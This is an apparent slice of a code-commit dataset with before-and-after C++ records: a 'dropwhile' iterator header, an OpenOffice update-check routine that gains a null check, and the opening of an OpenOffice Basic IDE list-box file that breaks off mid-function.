\/\/ Value constructor for use only in the dropwhile function\n            DropWhile(FilterFunc filter_func, Container & container) :\n                container(container),\n                filter_func(filter_func)\n            { }\n            DropWhile () = delete;\n            DropWhile & operator=(const DropWhile &) = delete;\n            \/\/ Default copy constructor used\n\n        public:\n            class Iterator {\n                private:\n                    contained_iter_type sub_iter;\n                    const contained_iter_type sub_end;\n                    FilterFunc filter_func;\n\n                    \/\/ skip all values for which the predicate is true\n                    void skip_passes() { \n                        while (this->sub_iter != this->sub_end\n                                && this->filter_func(*this->sub_iter)) {\n                            ++this->sub_iter;\n                        }\n                    }\n\n                public:\n                    Iterator (contained_iter_type iter,\n                            contained_iter_type end,\n                            FilterFunc filter_func) :\n                        sub_iter(iter),\n                        sub_end(end),\n                        filter_func(filter_func)\n                    { \n                        this->skip_passes();\n                    } \n\n                    contained_iter_ret operator*() const {\n                        return *this->sub_iter;\n                    }\n\n                    Iterator & operator++() { \n                        ++this->sub_iter;\n                        return *this;\n                    }\n\n                    bool operator!=(const Iterator & other) const {\n                        return this->sub_iter != other.sub_iter;\n                    }\n            };\n\n            Iterator begin() const {\n                return Iterator(\n                        this->container.begin(),\n                        this->container.end(),\n                        this->filter_func);\n            }\n\n            Iterator end() const {\n                return Iterator(\n                        this->container.end(),\n                        this->container.end(),\n                        this->filter_func);\n            }\n\n    };\n\n    \/\/ Helper function to instantiate a DropWhile\n    template <typename FilterFunc, typename Container>\n    DropWhile<FilterFunc, Container> dropwhile(\n            FilterFunc filter_func, Container & container) {\n        return DropWhile<FilterFunc, Container>(filter_func, container);\n    }\n\n}\n\n#endif \/\/ifndef DROPWHILE__H__\n<commit_msg>Replaces ugly decltype with std::declval in dropwhile<commit_after>#ifndef DROPWHILE__H__\n#define DROPWHILE__H__\n\n#include <utility>\n\nnamespace iter {\n\n    \/\/Forward declarations of DropWhile and dropwhile\n    template <typename FilterFunc, typename Container>\n    class DropWhile;\n\n    template <typename FilterFunc, typename Container>\n    DropWhile<FilterFunc, Container> dropwhile(FilterFunc, Container &);\n\n    template <typename FilterFunc, typename Container>\n    class DropWhile {\n        friend DropWhile dropwhile<FilterFunc, Container>(\n                FilterFunc, Container &);\n\n        \/\/ Type of the Container::Iterator, but since the name of that \n        \/\/ iterator can be anything, we have to grab it with this\n        using contained_iter_type =\n            decltype(std::declval<Container>().begin());\n\n        \/\/ The type returned when dereferencing the Container::Iterator\n        using contained_iter_ret =\n            decltype(std::declval<contained_iter_type>().operator*());\n\n        private:\n            Container & container;\n            FilterFunc filter_func;\n            \n            \/\/ Value constructor for use only in the dropwhile function\n            DropWhile(FilterFunc filter_func, Container & container) :\n                container(container),\n                filter_func(filter_func)\n            { }\n            DropWhile () = delete;\n            DropWhile & operator=(const DropWhile &) = delete;\n            \/\/ Default copy constructor used\n\n        public:\n            class Iterator {\n                private:\n                    contained_iter_type sub_iter;\n                    const contained_iter_type sub_end;\n                    FilterFunc filter_func;\n\n                    \/\/ skip all values for which the predicate is true\n                    void skip_passes() { \n                        while (this->sub_iter != this->sub_end\n                                && this->filter_func(*this->sub_iter)) {\n                            ++this->sub_iter;\n                        }\n                    }\n\n                public:\n                    Iterator (contained_iter_type iter,\n                            contained_iter_type end,\n                            FilterFunc filter_func) :\n                        sub_iter(iter),\n                        sub_end(end),\n                        filter_func(filter_func)\n                    { \n                        this->skip_passes();\n                    } \n\n                    contained_iter_ret operator*() const {\n                        return *this->sub_iter;\n                    }\n\n                    Iterator & operator++() { \n                        ++this->sub_iter;\n                        return *this;\n                    }\n\n                    bool operator!=(const Iterator & other) const {\n                        return this->sub_iter != other.sub_iter;\n                    }\n            };\n\n            Iterator begin() const {\n                return Iterator(\n                        this->container.begin(),\n                        this->container.end(),\n                        this->filter_func);\n            }\n\n            Iterator end() const {\n                return Iterator(\n                        this->container.end(),\n                        this->container.end(),\n                        this->filter_func);\n            }\n\n    };\n\n    \/\/ Helper function to instantiate a DropWhile\n    template <typename FilterFunc, typename Container>\n    DropWhile<FilterFunc, Container> dropwhile(\n            FilterFunc filter_func, Container & container) {\n        return DropWhile<FilterFunc, Container>(filter_func, container);\n    }\n\n}\n\n#endif \/\/ifndef DROPWHILE__H__\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: updateprotocol.cxx,v $\n *\n *  $Revision: 1.6 $\n *\n *  last change: $Author: rt $ $Date: 2007-07-06 14:38:58 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_extensions.hxx\"\n\n#ifndef _COM_SUN_STAR_XML_XPATH_XXPATHAPI_HPP_\n#include <com\/sun\/star\/xml\/xpath\/XXPathAPI.hpp>\n#endif\n\n#include \"updateprotocol.hxx\"\n\n#ifndef _COM_SUN_STAR_DEPLOYMENT_UPDATEINFORMATINENTRY_HPP_\n#include <com\/sun\/star\/deployment\/UpdateInformationEntry.hpp>\n#endif\n\n#include <rtl\/ref.hxx>\n#include <rtl\/uri.hxx>\n#include <rtl\/strbuf.hxx>\n#include <rtl\/ustrbuf.hxx>\n#include <rtl\/bootstrap.hxx>\n#include <osl\/process.h>\n\n#include <cppuhelper\/implbase1.hxx>\n\nnamespace css = com::sun::star ;\nnamespace container = css::container ;\nnamespace deployment = css::deployment ;\nnamespace lang = css::lang ;\nnamespace uno = css::uno ;\nnamespace task = css::task ;\nnamespace xml = css::xml ;\n\n#define UNISTRING(s) rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(s))\n\n\/\/------------------------------------------------------------------------------\n\nstatic bool\ngetBootstrapData(\n    uno::Sequence< ::rtl::OUString > & rRepositoryList,\n    ::rtl::OUString & rBuildID,\n    ::rtl::OUString & rInstallSetID)\n{\n    rtl::OUString aPath, aPath2;\n    if( osl_getExecutableFile(&aPath.pData) != osl_Process_E_None )\n        return false;\n\n    sal_uInt32 lastIndex = aPath.lastIndexOf('\/');\n    if ( lastIndex > 0 )\n    {\n        aPath = aPath.copy( 0, lastIndex+1 );\n        aPath += UNISTRING( SAL_CONFIGFILE( \"version\" ) );\n    }\n\n    rtl::Bootstrap aVersionFile(aPath);\n    aVersionFile.getFrom(UNISTRING(\"ProductBuildid\"), rBuildID, rtl::OUString());\n    aVersionFile.getFrom(UNISTRING(\"UpdateID\"), rInstallSetID, rtl::OUString());\n\n    rtl::OUString aValue;\n    aVersionFile.getFrom(UNISTRING(\"UpdateURL\"), aValue, rtl::OUString());\n    if( aValue.getLength() > 0 )\n    {\n        rRepositoryList.realloc(1);\n        rRepositoryList[0] = aValue;\n    }\n\n    return true;\n}\n\n\/\/------------------------------------------------------------------------------\n\n\/\/ Returns 'true' if successfully connected to the update server\nbool\ncheckForUpdates(\n    UpdateInfo& o_rUpdateInfo,\n    uno::Reference< uno::XComponentContext > const & rxContext,\n    uno::Reference< task::XInteractionHandler > const & rxInteractionHandler,\n    const uno::Reference< deployment::XUpdateInformationProvider >& rUpdateInfoProvider)\n{\n    OSL_TRACE(\"checking for updates ..\\n\");\n\n    ::rtl::OUString myArch;\n    ::rtl::OUString myOS;\n\n    rtl::Bootstrap::get(UNISTRING(\"_OS\"), myOS);\n    rtl::Bootstrap::get(UNISTRING(\"_ARCH\"), myArch);\n\n    uno::Sequence< ::rtl::OUString > aRepositoryList;\n    ::rtl::OUString aBuildID;\n    ::rtl::OUString aInstallSetID;\n\n    if( ! ( getBootstrapData(aRepositoryList, aBuildID, aInstallSetID) && (aRepositoryList.getLength() > 0) ) )\n        return false;\n\n    if( !rxContext.is() )\n        throw uno::RuntimeException(\n            UNISTRING( \"checkForUpdates: empty component context\" ), uno::Reference< uno::XInterface >() );\n\n    OSL_ASSERT( rxContext->getServiceManager().is() );\n\n    \/\/ XPath implementation\n    uno::Reference< xml::xpath::XXPathAPI > xXPath(\n        rxContext->getServiceManager()->createInstanceWithContext( UNISTRING( \"com.sun.star.xml.xpath.XPathAPI\" ), rxContext ),\n        uno::UNO_QUERY_THROW);\n\n    xXPath->registerNS( UNISTRING(\"inst\"), UNISTRING(\"http:\/\/installation.openoffice.org\/description\") );\n\n    if( rxInteractionHandler.is() )\n        rUpdateInfoProvider->setInteractionHandler(rxInteractionHandler);\n\n    try\n    {\n        uno::Reference< container::XEnumeration > aUpdateInfoEnumeration =\n            rUpdateInfoProvider->getUpdateInformationEnumeration( aRepositoryList, aInstallSetID );\n\n        rtl::OUStringBuffer aBuffer;\n        aBuffer.appendAscii(\"\/child::inst:description[inst:os=\\'\");\n        aBuffer.append( myOS );\n        aBuffer.appendAscii(\"\\' and inst:arch=\\'\");\n        aBuffer.append( myArch );\n        aBuffer.appendAscii(\"\\' and inst:buildid>\");\n        aBuffer.append( aBuildID );\n        aBuffer.appendAscii(\"]\");\n\n        rtl::OUString aXPathExpression = aBuffer.makeStringAndClear();\n\n        while( aUpdateInfoEnumeration->hasMoreElements() )\n        {\n            deployment::UpdateInformationEntry aEntry;\n\n            if( aUpdateInfoEnumeration->nextElement() >>= aEntry )\n            {\n                uno::Reference< xml::dom::XNode > xNode( aEntry.UpdateDocument.get() );\n                uno::Reference< xml::dom::XNodeList > xNodeList =\n                    xXPath->selectNodeList(xNode, aXPathExpression + UNISTRING(\"\/inst:update\/attribute::src\"));\n\n\/*\n                o_rUpdateInfo.Sources.push_back( DownloadSource(true,\n                    UNISTRING(\"http:\/\/openoffice.bouncer.osuosl.org\/?product=OpenOffice.org&os=solarissparcwjre&lang=en-US&version=2.2.1\") ) );\n*\/\n\n                sal_Int32 i, imax = xNodeList->getLength();\n                for( i = 0; i < imax; ++i )\n                {\n                    uno::Reference< xml::dom::XNode > xNode2( xNodeList->item(i) );\n\n                    if( xNode2.is() )\n                    {\n                        uno::Reference< xml::dom::XElement > xParent(xNode2->getParentNode(), uno::UNO_QUERY_THROW);\n                        rtl::OUString aType = xParent->getAttribute(UNISTRING(\"type\"));\n                        bool bIsDirect = ( sal_False == aType.equalsIgnoreAsciiCaseAscii(\"text\/html\") );\n\n                        o_rUpdateInfo.Sources.push_back( DownloadSource(bIsDirect, xNode2->getNodeValue()) );\n                    }\n                }\n\n                uno::Reference< xml::dom::XNode > xNode2 =\n                    xXPath->selectSingleNode(xNode, aXPathExpression + UNISTRING(\"\/inst:version\/text()\"));\n\n                if( xNode2.is() )\n                    o_rUpdateInfo.Version = xNode2->getNodeValue();\n\n                xNode2 = xXPath->selectSingleNode(xNode, aXPathExpression + UNISTRING(\"\/inst:buildid\/text()\"));\n\n                if( xNode2.is() )\n                    o_rUpdateInfo.BuildId = xNode2->getNodeValue();\n\n                o_rUpdateInfo.Description = aEntry.Description;\n\n                \/\/ Release Notes\n                xNodeList = xXPath->selectNodeList(xNode, aXPathExpression + UNISTRING(\"\/inst:relnote\"));\n                imax = xNodeList->getLength();\n                for( i = 0; i < imax; ++i )\n                {\n                    uno::Reference< xml::dom::XElement > xRelNote(xNodeList->item(i), uno::UNO_QUERY);\n                    if( xRelNote.is() )\n                    {\n                        sal_Int32 pos = xRelNote->getAttribute(UNISTRING(\"pos\")).toInt32();\n\n                        ReleaseNote aRelNote((sal_uInt8) pos, xRelNote->getAttribute(UNISTRING(\"src\")));\n\n                        if( xRelNote->hasAttribute(UNISTRING(\"src2\")) )\n                        {\n                            pos = xRelNote->getAttribute(UNISTRING(\"pos2\")).toInt32();\n                            aRelNote.Pos2 = (sal_Int8) pos;\n                            aRelNote.URL2 = xRelNote->getAttribute(UNISTRING(\"src2\"));\n                        }\n\n                        o_rUpdateInfo.ReleaseNotes.push_back(aRelNote);\n                    }\n                }\n\/*\n                o_rUpdateInfo.ReleaseNotes.push_back(\n                    ReleaseNote(1, UNISTRING(\"http:\/\/qa.openoffice.org\/tests\/online_update_test.html\"))\n                );\n*\/\n\n                if( o_rUpdateInfo.Sources.size() > 0 )\n                    return true;\n            }\n        }\n    }\n    catch( ... )\n    {\n        return false;\n    }\n\n    return true;\n}\n<commit_msg>INTEGRATION: CWS updchk07 (1.6.2); FILE MERGED 2007\/07\/09 11:10:02 obr 1.6.2.1: #i79223# check enumeration reference<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: updateprotocol.cxx,v $\n *\n *  $Revision: 1.7 $\n *\n *  last change: $Author: hr $ $Date: 2007-07-31 15:58:00 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_extensions.hxx\"\n\n#ifndef _COM_SUN_STAR_XML_XPATH_XXPATHAPI_HPP_\n#include <com\/sun\/star\/xml\/xpath\/XXPathAPI.hpp>\n#endif\n\n#include \"updateprotocol.hxx\"\n\n#ifndef _COM_SUN_STAR_DEPLOYMENT_UPDATEINFORMATINENTRY_HPP_\n#include <com\/sun\/star\/deployment\/UpdateInformationEntry.hpp>\n#endif\n\n#include <rtl\/ref.hxx>\n#include <rtl\/uri.hxx>\n#include <rtl\/strbuf.hxx>\n#include <rtl\/ustrbuf.hxx>\n#include <rtl\/bootstrap.hxx>\n#include <osl\/process.h>\n\n#include <cppuhelper\/implbase1.hxx>\n\nnamespace css = com::sun::star ;\nnamespace container = css::container ;\nnamespace deployment = css::deployment ;\nnamespace lang = css::lang ;\nnamespace uno = css::uno ;\nnamespace task = css::task ;\nnamespace xml = css::xml ;\n\n#define UNISTRING(s) rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(s))\n\n\/\/------------------------------------------------------------------------------\n\nstatic bool\ngetBootstrapData(\n    uno::Sequence< ::rtl::OUString > & rRepositoryList,\n    ::rtl::OUString & rBuildID,\n    ::rtl::OUString & rInstallSetID)\n{\n    rtl::OUString aPath, aPath2;\n    if( osl_getExecutableFile(&aPath.pData) != osl_Process_E_None )\n        return false;\n\n    sal_uInt32 lastIndex = aPath.lastIndexOf('\/');\n    if ( lastIndex > 0 )\n    {\n        aPath = aPath.copy( 0, lastIndex+1 );\n        aPath += UNISTRING( SAL_CONFIGFILE( \"version\" ) );\n    }\n\n    rtl::Bootstrap aVersionFile(aPath);\n    aVersionFile.getFrom(UNISTRING(\"ProductBuildid\"), rBuildID, rtl::OUString());\n    aVersionFile.getFrom(UNISTRING(\"UpdateID\"), rInstallSetID, rtl::OUString());\n\n    rtl::OUString aValue;\n    aVersionFile.getFrom(UNISTRING(\"UpdateURL\"), aValue, rtl::OUString());\n    if( aValue.getLength() > 0 )\n    {\n        rRepositoryList.realloc(1);\n        rRepositoryList[0] = aValue;\n    }\n\n    return true;\n}\n\n\/\/------------------------------------------------------------------------------\n\n\/\/ Returns 'true' if successfully connected to the update server\nbool\ncheckForUpdates(\n    UpdateInfo& o_rUpdateInfo,\n    uno::Reference< uno::XComponentContext > const & rxContext,\n    uno::Reference< task::XInteractionHandler > const & rxInteractionHandler,\n    const uno::Reference< deployment::XUpdateInformationProvider >& rUpdateInfoProvider)\n{\n    OSL_TRACE(\"checking for updates ..\\n\");\n\n    ::rtl::OUString myArch;\n    ::rtl::OUString myOS;\n\n    rtl::Bootstrap::get(UNISTRING(\"_OS\"), myOS);\n    rtl::Bootstrap::get(UNISTRING(\"_ARCH\"), myArch);\n\n    uno::Sequence< ::rtl::OUString > aRepositoryList;\n    ::rtl::OUString aBuildID;\n    ::rtl::OUString aInstallSetID;\n\n    if( ! ( getBootstrapData(aRepositoryList, aBuildID, aInstallSetID) && (aRepositoryList.getLength() > 0) ) )\n        return false;\n\n    if( !rxContext.is() )\n        throw uno::RuntimeException(\n            UNISTRING( \"checkForUpdates: empty component context\" ), uno::Reference< uno::XInterface >() );\n\n    OSL_ASSERT( rxContext->getServiceManager().is() );\n\n    \/\/ XPath implementation\n    uno::Reference< xml::xpath::XXPathAPI > xXPath(\n        rxContext->getServiceManager()->createInstanceWithContext( UNISTRING( \"com.sun.star.xml.xpath.XPathAPI\" ), rxContext ),\n        uno::UNO_QUERY_THROW);\n\n    xXPath->registerNS( UNISTRING(\"inst\"), UNISTRING(\"http:\/\/installation.openoffice.org\/description\") );\n\n    if( rxInteractionHandler.is() )\n        rUpdateInfoProvider->setInteractionHandler(rxInteractionHandler);\n\n    try\n    {\n        uno::Reference< container::XEnumeration > aUpdateInfoEnumeration =\n            rUpdateInfoProvider->getUpdateInformationEnumeration( aRepositoryList, aInstallSetID );\n\n        if ( !aUpdateInfoEnumeration.is() )\n            return false; \/\/ something went wrong ..\n\n        rtl::OUStringBuffer aBuffer;\n        aBuffer.appendAscii(\"\/child::inst:description[inst:os=\\'\");\n        aBuffer.append( myOS );\n        aBuffer.appendAscii(\"\\' and inst:arch=\\'\");\n        aBuffer.append( myArch );\n        aBuffer.appendAscii(\"\\' and inst:buildid>\");\n        aBuffer.append( aBuildID );\n        aBuffer.appendAscii(\"]\");\n\n        rtl::OUString aXPathExpression = aBuffer.makeStringAndClear();\n\n        while( aUpdateInfoEnumeration->hasMoreElements() )\n        {\n            deployment::UpdateInformationEntry aEntry;\n\n            if( aUpdateInfoEnumeration->nextElement() >>= aEntry )\n            {\n                uno::Reference< xml::dom::XNode > xNode( aEntry.UpdateDocument.get() );\n                uno::Reference< xml::dom::XNodeList > xNodeList =\n                    xXPath->selectNodeList(xNode, aXPathExpression + UNISTRING(\"\/inst:update\/attribute::src\"));\n\n\/*\n                o_rUpdateInfo.Sources.push_back( DownloadSource(true,\n                    UNISTRING(\"http:\/\/openoffice.bouncer.osuosl.org\/?product=OpenOffice.org&os=solarissparcwjre&lang=en-US&version=2.2.1\") ) );\n*\/\n\n                sal_Int32 i, imax = xNodeList->getLength();\n                for( i = 0; i < imax; ++i )\n                {\n                    uno::Reference< xml::dom::XNode > xNode2( xNodeList->item(i) );\n\n                    if( xNode2.is() )\n                    {\n                        uno::Reference< xml::dom::XElement > xParent(xNode2->getParentNode(), uno::UNO_QUERY_THROW);\n                        rtl::OUString aType = xParent->getAttribute(UNISTRING(\"type\"));\n                        bool bIsDirect = ( sal_False == aType.equalsIgnoreAsciiCaseAscii(\"text\/html\") );\n\n                        o_rUpdateInfo.Sources.push_back( DownloadSource(bIsDirect, xNode2->getNodeValue()) );\n                    }\n                }\n\n                uno::Reference< xml::dom::XNode > xNode2 =\n                    xXPath->selectSingleNode(xNode, aXPathExpression + UNISTRING(\"\/inst:version\/text()\"));\n\n                if( xNode2.is() )\n                    o_rUpdateInfo.Version = xNode2->getNodeValue();\n\n                xNode2 = xXPath->selectSingleNode(xNode, aXPathExpression + UNISTRING(\"\/inst:buildid\/text()\"));\n\n                if( xNode2.is() )\n                    o_rUpdateInfo.BuildId = xNode2->getNodeValue();\n\n                o_rUpdateInfo.Description = aEntry.Description;\n\n                \/\/ Release Notes\n                xNodeList = xXPath->selectNodeList(xNode, aXPathExpression + UNISTRING(\"\/inst:relnote\"));\n                imax = xNodeList->getLength();\n                for( i = 0; i < imax; ++i )\n                {\n                    uno::Reference< xml::dom::XElement > xRelNote(xNodeList->item(i), uno::UNO_QUERY);\n                    if( xRelNote.is() )\n                    {\n                        sal_Int32 pos = xRelNote->getAttribute(UNISTRING(\"pos\")).toInt32();\n\n                        ReleaseNote aRelNote((sal_uInt8) pos, xRelNote->getAttribute(UNISTRING(\"src\")));\n\n                        if( xRelNote->hasAttribute(UNISTRING(\"src2\")) )\n                        {\n                            pos = xRelNote->getAttribute(UNISTRING(\"pos2\")).toInt32();\n                            aRelNote.Pos2 = (sal_Int8) pos;\n                            aRelNote.URL2 = xRelNote->getAttribute(UNISTRING(\"src2\"));\n                        }\n\n                        o_rUpdateInfo.ReleaseNotes.push_back(aRelNote);\n                    }\n                }\n\/*\n                o_rUpdateInfo.ReleaseNotes.push_back(\n                    ReleaseNote(1, UNISTRING(\"http:\/\/qa.openoffice.org\/tests\/online_update_test.html\"))\n                );\n*\/\n\n                if( o_rUpdateInfo.Sources.size() > 0 )\n                    return true;\n            }\n        }\n    }\n    catch( ... )\n    {\n        return false;\n    }\n\n    return true;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: basicbox.cxx,v $\n *\n *  $Revision: 1.10 $\n *\n *  last change: $Author: obo $ $Date: 2006-09-17 00:24:20 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_basctl.hxx\"\n\n#include <ide_pch.hxx>\n\n\n#include <basidesh.hrc>\n#include <basidesh.hxx>\n#include <basobj.hxx>\n\n#include <basicbox.hxx>\n#include <iderid.hxx>\n#include <iderdll.hxx>\n#include <bastypes.hxx>\n\n#ifndef _BASTYPE2_HXX\n#include \"bastype2.hxx\"\n#endif\n#ifndef _BASDOC_HXX\n#include \"basdoc.hxx\"\n#endif\n\nusing namespace ::com::sun::star;\nusing namespace ::com::sun::star::uno;\n\n\nSFX_IMPL_TOOLBOX_CONTROL( LibBoxControl, SfxStringItem );\n\nLibBoxControl::LibBoxControl( USHORT nSlotId, USHORT nId, ToolBox& rTbx )\n    : SfxToolBoxControl( nSlotId, nId, rTbx )\n{\n}\n\n\n\nLibBoxControl::~LibBoxControl()\n{\n}\n\n\n\nvoid LibBoxControl::StateChanged( USHORT nSID, SfxItemState eState, const SfxPoolItem* pState )\n{\n    BasicLibBox* pBox = (BasicLibBox*) GetToolBox().GetItemWindow( GetId() );\n\n    DBG_ASSERT( pBox, \"Box not found\" );\n    if ( !pBox )\n        return;\n\n    if ( eState != SFX_ITEM_AVAILABLE )\n        pBox->Disable();\n    else\n    {\n        pBox->Enable();\n\n        if ( pState->ISA(SfxStringItem) )\n            pBox->Update( (const SfxStringItem*)pState );\n        else\n            pBox->Update( NULL );\n    }\n}\n\n\n\nWindow* LibBoxControl::CreateItemWindow( Window *pParent )\n{\n    return new BasicLibBox( pParent, m_xFrame );\n}\n\n\n\n\n\nBasicLibBox::BasicLibBox( Window* pParent, const uno::Reference< frame::XFrame >& rFrame ) :\n    ListBox( pParent, WinBits( WB_BORDER | WB_DROPDOWN ) ),\n    m_xFrame( rFrame )\n{\n    FillBox();\n    bIgnoreSelect = TRUE;   \/\/ Select von 0 noch nicht weiterleiten\n    bFillBox = TRUE;\n    SelectEntryPos( 0 );\n    aCurText = GetEntry( 0 );\n    SetSizePixel( Size( 250, 200 ) );\n    bIgnoreSelect = FALSE;\n    StartListening( *SFX_APP(), TRUE \/* Nur einmal anmelden *\/ );\n}\n\n\n\n__EXPORT BasicLibBox::~BasicLibBox()\n{\n    DeleteEntryData();\n}\n\nvoid __EXPORT BasicLibBox::Update( const SfxStringItem* pItem )\n{\n    \/\/ Immer auf dem laufenden sein...\n\/\/  if ( !pItem  || !pItem->GetValue().Len() )\n        FillBox();\n\n    if ( pItem )\n    {\n        aCurText = pItem->GetValue();\n        if ( aCurText.Len() == 0 )\n            aCurText = String( IDEResId( RID_STR_ALL ) );\n    }\n\n    if ( GetSelectEntry() != aCurText )\n        SelectEntry( aCurText );\n}\n\nvoid __EXPORT BasicLibBox::ReleaseFocus()\n{\n    SfxViewShell* pCurSh = SfxViewShell::Current();\n    DBG_ASSERT( pCurSh, \"Current ViewShell not found!\" );\n\n    if ( pCurSh )\n    {\n        Window* pShellWin = pCurSh->GetWindow();\n        if ( !pShellWin )       \/\/ sonst werde ich ihn nicht los\n            pShellWin = Application::GetDefDialogParent();\n\n        pShellWin->GrabFocus();\n    }\n}\n\n\n\nvoid __EXPORT BasicLibBox::SFX_NOTIFY(  SfxBroadcaster& rBC, const TypeId&,\n                                        const SfxHint& rHint, const TypeId& )\n{\n    if ( rHint.IsA( TYPE( SfxEventHint ) ) )\n    {\n        switch ( ((SfxEventHint&)rHint).GetEventId() )\n        {\n            case SFX_EVENT_CREATEDOC:\n            case SFX_EVENT_OPENDOC:\n            {\n                FillBox();  \/\/ IDE reagiert selbst, wenn == aktuelle Lib\n            }\n            break;\n            case SFX_EVENT_SAVEASDOC:\n            {\n                FillBox( TRUE );\n            }\n            break;\n            case SFX_EVENT_CLOSEDOC:\n            {\n                if ( SFX_APP()->IsInBasicCall() )   \/\/ Nicht wenn Office beendet\n                    FillBox();\n            }\n            break;\n        }\n    }\n}\n\nvoid BasicLibBox::FillBox( BOOL bSelect )\n{\n    SetUpdateMode( FALSE );\n    bIgnoreSelect = TRUE;\n\n    aCurText = GetSelectEntry();\n\n    SelectEntryPos( 0 );\n    Clear();\n\n    \/\/ create list box entries\n    USHORT nPos = InsertEntry( String( IDEResId( RID_STR_ALL ) ), LISTBOX_APPEND );\n    SetEntryData( nPos, new BasicLibEntry( 0, LIBRARY_LOCATION_UNKNOWN, String() ) );\n    InsertEntries( 0, LIBRARY_LOCATION_USER );\n    InsertEntries( 0, LIBRARY_LOCATION_SHARE );\n    SfxObjectShell* pShell = SfxObjectShell::GetFirst();\n    while ( pShell )\n    {\n        \/\/ only if there's a corresponding window (not for remote documents)\n        if ( SfxViewFrame::GetFirst( pShell ) && !pShell->ISA( BasicDocShell ) )\n            InsertEntries( pShell, LIBRARY_LOCATION_DOCUMENT );\n\n        pShell = SfxObjectShell::GetNext( *pShell );\n    }\n\n    SetUpdateMode( TRUE );\n\n    if ( bSelect )\n    {\n        SelectEntry( aCurText );\n        if ( !GetSelectEntryCount() )\n        {\n            SelectEntryPos( GetEntryCount() );  \/\/ gibst es nicht => leer?\n            aCurText = GetSelectEntry();\n        }\n    }\n    bIgnoreSelect = FALSE;\n}\n\nvoid BasicLibBox::InsertEntries( SfxObjectShell* pShell, LibraryLocation eLocation )\n{\n    \/\/ get a sorted list of library names\n    Sequence< ::rtl::OUString > aLibNames = BasicIDE::GetLibraryNames( pShell );\n    sal_Int32 nLibCount = aLibNames.getLength();\n    const ::rtl::OUString* pLibNames = aLibNames.getConstArray();\n\n    for ( sal_Int32 i = 0 ; i < nLibCount ; ++i )\n    {\n        String aLibName = pLibNames[ i ];\n        if ( eLocation == BasicIDE::GetLibraryLocation( pShell, aLibName ) )\n        {\n            String aName( BasicIDE::GetTitle( pShell, eLocation, SFX_TITLE_CAPTION ) );\n            String aEntryText( CreateMgrAndLibStr( aName, aLibName ) );\n            USHORT nPos = InsertEntry( aEntryText, LISTBOX_APPEND );\n            SetEntryData( nPos, new BasicLibEntry( pShell, eLocation, aLibName ) );\n        }\n    }\n}\n\nvoid BasicLibBox::DeleteEntryData()\n{\n    USHORT nCount = GetEntryCount();\n    for ( USHORT i = 0; i < nCount; ++i )\n    {\n        BasicLibEntry* pEntry = (BasicLibEntry*)GetEntryData( i );\n        delete pEntry;\n    }\n}\n\nlong BasicLibBox::PreNotify( NotifyEvent& rNEvt )\n{\n    long nDone = 0;\n    if( rNEvt.GetType() == EVENT_KEYINPUT )\n    {\n        KeyEvent aKeyEvt = *rNEvt.GetKeyEvent();\n        USHORT nKeyCode = aKeyEvt.GetKeyCode().GetCode();\n        switch( nKeyCode )\n        {\n            case KEY_RETURN:\n            {\n                NotifyIDE();\n                nDone = 1;\n            }\n            break;\n\n            case KEY_ESCAPE:\n            {\n                SelectEntry( aCurText );\n                ReleaseFocus();\n                nDone = 1;\n            }\n            break;\n        }\n    }\n    else if( rNEvt.GetType() == EVENT_GETFOCUS )\n    {\n        if ( bFillBox )\n        {\n            FillBox();\n            bFillBox = FALSE;\n        }\n    }\n    else if( rNEvt.GetType() == EVENT_LOSEFOCUS )\n    